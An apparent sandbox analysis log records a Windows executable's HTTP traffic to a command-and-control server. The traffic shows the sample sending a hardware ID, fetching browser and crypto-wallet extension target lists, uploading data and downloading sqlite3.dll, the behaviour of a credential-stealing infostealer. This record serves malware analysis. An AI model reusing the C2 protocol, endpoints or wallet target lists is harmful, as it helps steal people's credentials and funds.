Jun 28, 2024 13:40:01.742316008 CEST	80	49990	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:01.742367029 CEST	49990	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.742402077 CEST	80	49991	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:01.742465019 CEST	49991	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.742686987 CEST	49991	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:40:01.747457981 CEST	80	49991	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:02.430849075 CEST	80	49991	77.91.77.82	192.168.2.5
Jun 28, 2024 13:40:02.430917025 CEST	49991	80	192.168.2.5	77.91.77.82

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	85.28.47.4	80	4712	C:\Users\user\Desktop\j7iUba2bki.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:35:56.599132061 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 39 30 41 34 31 41 32 35 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="hwid"C190A41A25CD3935430149------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="build"default------IJEGHJECFCFCBFIDBGCG--
Jun 28, 2024 13:35:57.263076067 CEST	384	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:35:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 45 35 5a 57 4d 32 59 7a 4e 6c 59 57 49 79 4e 6d 4d 78 59 32 59 30 5a 57 4e 6a 59 32 4d 34 4d 6d 4a 69 4e 7a 51 35 4d 57 55 78 4e 57 52 69 59 6a 4d 35 4f 57 45 7a 4d 6a 56 6a 4d 44 59 33 4e 54 55 34 59 7a 4a 68 4d 57 4e 6c 4f 54 55 77 4e 57 51 33 4e 7a 59 7a 4d 32 51 7a 4d 44 45 77 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: MWE5ZWM2YzNlYWIyNmMxY2Y0ZWNjY2M4MmJiNzQ5MWUxNWRiYjM5OWEzMjVjMDY3NTU4YzJhMWNlOTUwNWQ3NzYzM2QzMDEwfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jun 28, 2024 13:35:57.264864922 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 2d 2d 0d 0a Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="message"browsers------KKJKEBKFCAAECAAAAAEC--
Jun 28, 2024 13:35:57.445879936 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:35:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jun 28, 2024 13:35:57.446341038 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jun 28, 2024 13:35:57.457221031 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="message"plugins------EGHCBKKKFHCGCBFIJEHD--
Jun 28, 2024 13:35:57.637480021 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:35:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jun 28, 2024 13:35:57.637492895 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Jun 28, 2024 13:35:57.637502909 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Jun 28, 2024 13:35:57.637512922 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Jun 28, 2024 13:35:57.637522936 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Jun 28, 2024 13:35:57.637535095 CEST	476	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Jun 28, 2024 13:35:57.639055967 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"fplugins------BKFBAKFCBFHIJJJJDBFC--
Jun 28, 2024 13:35:57.936094999 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:35:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jun 28, 2024 13:35:57.966171026 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 85.28.47.4 Content-Length: 7191 Connection: Keep-Alive Cache-Control: no-cache
Jun 28, 2024 13:35:57.966269016 CEST	7191	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"1a9ec6c3eab26c1cf4ecccc82bb7491e15dbb399a325c067558c2a1ce9505d77633d3010------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jun 28, 2024 13:35:58.686709881 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:35:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 13:35:58.964443922 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 13:35:59.147897005 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 11:35:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jun 28, 2024 13:35:59.147912979 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jun 28, 2024 13:35:59.147922993 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jun 28, 2024 13:35:59.148088932 CEST	1236	IN	Data Raw: 0e 70 eb 61 89 04 24 ff 15 80 02 ed 61 52 52 89 c2 85 d2 74 09 c7 04 24 78 67 eb 61 ff d2 c7 04 24 96 14 e0 61 e8 fc e2 0a 00 c9 c3 55 89 e5 5d c3 90 03 14 85 a0 c3 ec 61 55 89 e5 89 14 85 a0 c3 ec 61 83 c0 08 3b 14 85 a8 c3 ec 61 76 07 89 14 85 Data Ascii: pa$aRRt$xga$aU]aUa;ava]tUS$R[]UWVS,u}L$T$$t$\|$S,[^_]UWVS,u}L$T$$t$\|$S,[^_]UV0T$L$$V^]
Jun 28, 2024 13:36:00.338224888 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJ Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 39 65 63 36 63 33 65 61 62 32 36 63 31 63 66 34 65 63 63 63 63 38 32 62 62 37 34 39 31 65 31 35 64 62 62 33 39 39 61 33 32 35 63 30 36 37 35 35 38 63 32 61 31 63 65 39 35 30 35 64 37 37 36 33 33 64 33 30 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 